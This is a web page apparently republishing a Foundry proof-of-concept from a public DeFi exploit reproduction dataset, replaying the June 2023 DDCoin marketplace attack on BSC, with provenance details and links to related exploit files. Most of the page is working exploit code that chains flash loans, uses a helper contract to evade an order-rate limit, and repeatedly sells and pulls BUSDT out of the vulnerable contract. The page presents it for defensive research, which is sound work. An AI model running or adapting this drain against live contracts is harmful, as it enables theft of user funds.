Public reproduction file
src/test/2023-06/DDCoin_exp.sol
Public reproduction file for dataset entry DDCoin.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~300K USD$8// Attacker : https://bscscan.com/address/0x0a3fee894eb8fcb6f84460d5828d71be506127629// Attack Contract : https://bscscan.com/address/0x105e9b0266ae0ae670b7fe9af08cf32049f0dd2110// Vulnerable Contract : https://bscscan.com/address/0xb3a636ac4c271e6cd962cad98eae9cf71f5a49c811// Attack Tx : https://bscscan.com/tx/0xd92bf51b9bf464420e1261cfcd8b291ee05d5fbffbfbb316ec95131779f8080913// @Analysis14// https://twitter.com/ImmuneBytes/status/166423958021049548915// https://twitter.com/ChainAegis/status/1664192344726581255?cxt=HHwWjsDRldmHs5guAAAA17interface IMarketPlace {18 struct SellListing {19 uint256 itemId;20 uint256 index;21 uint256 price;22 uint256 amount;23 uint256 time;24 address buyer;25 address seller;26 }28 function currenyId() external view returns (uint256);30 function inviteLimit(31 address32 ) external view returns (uint256);34 function items(35 uint256 id36 )37 external38 view39 returns (uint256 price, uint256 amount, uint256 totalAmount, uint256 index, uint256 time, address buyer);41 function listItem(uint256 _amount, address invite) external returns (uint256);43 function sellItem(44 uint256 _amount45 ) external returns (SellListing memory);46}48contract DDTest is Test {49 IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);50 IERC20 DD = IERC20(0x50ab0D88045F540b8B79C8A7Dc25790dB493BBC5);51 IDPPOracle DPPOracle1 = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);52 IDPPOracle DPPOracle2 = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);53 IDPPOracle DPPOracle3 = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618);54 IDPPOracle DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);55 IDPPOracle DPPAdvanced = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d);56 IMarketPlace MarketPlace = IMarketPlace(0xb3a636ac4c271e6CD962caD98Eae9Cf71f5A49c8);57 Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);58 address private constant addrToInvite = 0x693166710b501e3379Cf104e5AaA803aF6CbbF1A;59 HelperContract OrdersPlacer;60 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);62 function setUp() public {63 cheats.createSelectFork("bsc", 28_714_107);64 cheats.label(address(BUSDT), "BUSDT");65 cheats.label(address(DD), "DD");66 cheats.label(address(DPPOracle1), "DPPOracle1");67 cheats.label(address(DPPOracle2), "DPPOracle2");68 cheats.label(address(DPPOracle3), "DPPOracle3");69 cheats.label(address(DPP), "DPP");70 cheats.label(address(DPPAdvanced), "DPPAdvanced");71 cheats.label(address(MarketPlace), "MarketPlace");72 cheats.label(address(Router), "Router");73 }75 function testExploit() public {76 deal(address(BUSDT), address(this), 0);77 emit log_named_decimal_uint(78 "BUSDT attacker balance before exploit", BUSDT.balanceOf(address(this)), BUSDT.decimals()79 );81 DPPOracle1.flashLoan(0, BUSDT.balanceOf(address(DPPOracle1)), address(this), new bytes(1));83 emit log_named_decimal_uint(84 "BUSDT attacker balance after exploit", BUSDT.balanceOf(address(this)), BUSDT.decimals()85 );86 }88 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {89 if (msg.sender == address(DPPOracle1)) {90 DPPOracle2.flashLoan(0, BUSDT.balanceOf(address(DPPOracle2)), address(this), new bytes(1));91 } else if (msg.sender == address(DPPOracle2)) {92 DPPOracle3.flashLoan(0, BUSDT.balanceOf(address(DPPOracle3)), address(this), new bytes(1));93 } else if (msg.sender == address(DPPOracle3)) {94 DPP.flashLoan(0, BUSDT.balanceOf(address(DPP)), address(this), new bytes(1));95 } else if (msg.sender == address(DPP)) {96 DPPAdvanced.flashLoan(0, BUSDT.balanceOf(address(DPPAdvanced)), address(this), new bytes(1));97 } else {98 // Approvals99 BUSDT.approve(address(MarketPlace), type(uint256).max);100 BUSDT.approve(address(Router), type(uint256).max);101 DD.approve(address(MarketPlace), type(uint256).max);103 // Placing order104 MarketPlace.listItem(500e18, addrToInvite);106 // Bypassing order limit. Next order should be placed with helper contract because:107 // MarketPlace: "Only one order can be placed within hours"108 // Here I don't use create2 method like it was in the attack tx109 OrdersPlacer = new HelperContract();110 BUSDT.transfer(address(OrdersPlacer), 500e18);111 // Using one contract to place the next order instead two (with delegatecall)112 OrdersPlacer.placeOrder();114 // Next part (for loop) may take some time...115 // More iterations possible. I just wanted to prcisely stick to the final (stealed) BUSDT amount116 for (uint256 i; i < 100; ++i) {117 (,, uint256 totalAmount,,,) = MarketPlace.items(MarketPlace.currenyId());119 swapBUSDTToDD(totalAmount / 20);120 MarketPlace.sellItem(totalAmount);121 BUSDT.transferFrom(122 address(MarketPlace), address(this), BUSDT.allowance(address(MarketPlace), address(this))123 );124 }125 }127 BUSDT.transfer(msg.sender, quoteAmount);128 }130 function swapBUSDTToDD(131 uint256 amountOut132 ) internal {133 address[] memory path = new address[](2);134 path[0] = address(BUSDT);135 path[1] = address(DD);136 Router.swapTokensForExactTokens(137 amountOut, BUSDT.balanceOf(address(this)), path, address(this), block.timestamp + 100138 );139 }140}142contract HelperContract {143 IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);144 IMarketPlace MarketPlace = IMarketPlace(0xb3a636ac4c271e6CD962caD98Eae9Cf71f5A49c8);146 function placeOrder() external {147 BUSDT.approve(address(MarketPlace), type(uint256).max);148 MarketPlace.listItem(500e18, msg.sender);149 }150}Analysis
Dataset entry
Public Foundry test for “DDCoin” (2023-06-01). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
21 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-06/ARA_exp.solSame month in the dataset · 110 lines
- src/test/2023-06/BabyDogeCoin02_exp.solSame month in the dataset · 225 lines
- src/test/2023-06/Biswap_exp.solSame month in the dataset · 244 lines
- src/test/2023-06/Cellframe_exp.solSame month in the dataset · 170 lines
- src/test/2023-06/CFC_exp.solSame month in the dataset · 123 lines
- src/test/2023-06/CompounderFinance_exp.solSame month in the dataset · 124 lines
- src/test/2023-06/Contract_0x7657_exp.solSame month in the dataset · 54 lines
- src/test/2023-06/DEPUSDT_LEVUSDC_exp.solSame month in the dataset · 59 lines
- src/test/2023-06/MidasCapitalXYZ_exp.solSame month in the dataset · 194 lines
- src/test/2023-06/MIMSpell_exp.solSame month in the dataset · 110 lines
- src/test/2023-06/MyAi_exp.solSame month in the dataset · 73 lines
- src/test/2023-06/NST_exp.solSame month in the dataset · 65 lines
- src/test/2023-06/Pawnfi_exp.solSame month in the dataset · 248 lines
- src/test/2023-06/SELLC03_exp.solSame month in the dataset · 97 lines
- src/test/2023-06/SHIDO_exp.solSame month in the dataset · 107 lines
- src/test/2023-06/STRAC_exp.solSame month in the dataset · 54 lines
- src/test/2023-06/Sturdy_exp.solSame month in the dataset · 339 lines
- src/test/2023-06/Themis_exp.solSame month in the dataset · 266 lines
- src/test/2023-06/UN_exp.solSame month in the dataset · 68 lines
- src/test/2023-06/UnverifiedContr_9ad32_exp.solSame month in the dataset · 41 lines
- src/test/2023-06/VINU_exp.solSame month in the dataset · 106 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x0a3fee894eb8fcb6f84460d5828d71be50612762
- Attack Contract
0x105e9b0266ae0ae670b7fe9af08cf32049f0dd21
- Vulnerable Contract
0xb3a636ac4c271e6cd962cad98eae9cf71f5a49c8
- Attack Tx
0xd92bf51b9bf464420e1261cfcd8b291ee05d5fbffbfbb316ec95131779f80809
- Explorer: https://bscscan.com/address/0x0a3fee894eb8fcb6f84460d5828d71be50612762
- Explorer: https://bscscan.com/address/0x105e9b0266ae0ae670b7fe9af08cf32049f0dd21
- Explorer: https://bscscan.com/address/0xb3a636ac4c271e6cd962cad98eae9cf71f5a49c8
- Reference: https://twitter.com/ImmuneBytes/status/1664239580210495489
- Reference: https://twitter.com/ChainAegis/status/1664192344726581255?cxt=HHwWjsDRldmHs5guAAAA
File record
- Name
- DDCoin
- Path
- src/test/2023-06/DDCoin_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 9c0382648856cb5dacd4f89ba59c2f0019e0a951
- Language
- Solidity
- Size
- 151 lines
- Date
- 2023-06-01
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-06/DDCoin_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9c0382648856cb5dacd4f89ba59c2f0019e0a951, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.